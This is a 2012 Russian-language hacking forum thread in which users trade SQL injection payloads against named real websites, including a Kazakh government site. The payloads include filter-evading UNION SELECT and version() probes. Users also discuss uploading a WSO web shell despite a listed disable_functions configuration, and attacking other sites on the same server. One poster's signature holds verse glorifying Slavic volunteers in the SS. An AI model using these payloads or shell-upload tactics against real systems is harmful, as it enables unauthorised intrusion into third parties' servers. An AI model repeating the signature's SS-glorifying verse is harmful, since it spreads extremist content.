07.02.2012, 14:49
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
HAXTA4OK,
спасибо, незнал. А почему:
http://www.ctgroup.kz/?op=mi=node_2744' and substring(version(),1,1)>1+--+=,view_2599
false? Не могу понять...
P.S. Думаю на фильтры... Хотя... нет.
|
|
|
07.02.2012, 15:47
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Нужно копать в сторону второго запроса
Сообщение от None
http://www.ctgroup.kz/?op=mi='+/*!uNiOn*//*!select*/'node_2744\'+and+\'1'+--+=,view_2599
Вывод где-то рядом
На самой странице результаты могут быть не видны. Ищите в исходнике по тексту
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]$([/COLOR][COLOR="#DD0000"]".l"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]hide[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
|
|
|
|
07.02.2012, 18:47
|
|
Познающий
Регистрация: 21.01.2012
Сообщений: 55
С нами:
7530806
Репутация:
0
|
|
Всем хай, вот не могоу раскрутить скулу, вобще возможно ли провести тут sqli или нет если да то каким запросом.
http://www.mk.gov.kz/?lang=kaz&id_open_rubric=806'
|
|
|
|
07.02.2012, 19:19
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от None
disable_functions dl, shell_exec, exec, system, passthru, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, set_time_limit, chown, chgrp
у меня есть шансы на заливку?
2Ereee, ну да, только как
|
|
|
|
07.02.2012, 19:24
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
anonym_di,
фильтры фильтры...
faza02,
шансы всегда есть =)
|
|
|
|
07.02.2012, 19:32
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от faza02
у меня есть шансы на заливку?
2Ereee, ну да, только как
Залить то зальешь, правда криво шелл может будет работать
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
07.02.2012, 19:37
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
на этом сервере еще есть сайты, стоит их копать, или конфиг везде такой будет?
|
|
|
|
07.02.2012, 19:38
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от faza02
на этом сервере еще есть сайты, стоит их копать, или конфиг везде такой будет?
Везде такой. WSO будет нормально пахать, правда не порутаешь.
|
|
|
|
07.02.2012, 19:43
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
хорошо, спасибо.
а какие еще функции есть, которые не выключены, и через которые можно залить?
|
|
|
|
07.02.2012, 20:39
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от faza02
хорошо, спасибо.
а какие еще функции есть, которые не выключены, и через которые можно залить?
так ты что на данный момент имеешь?
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
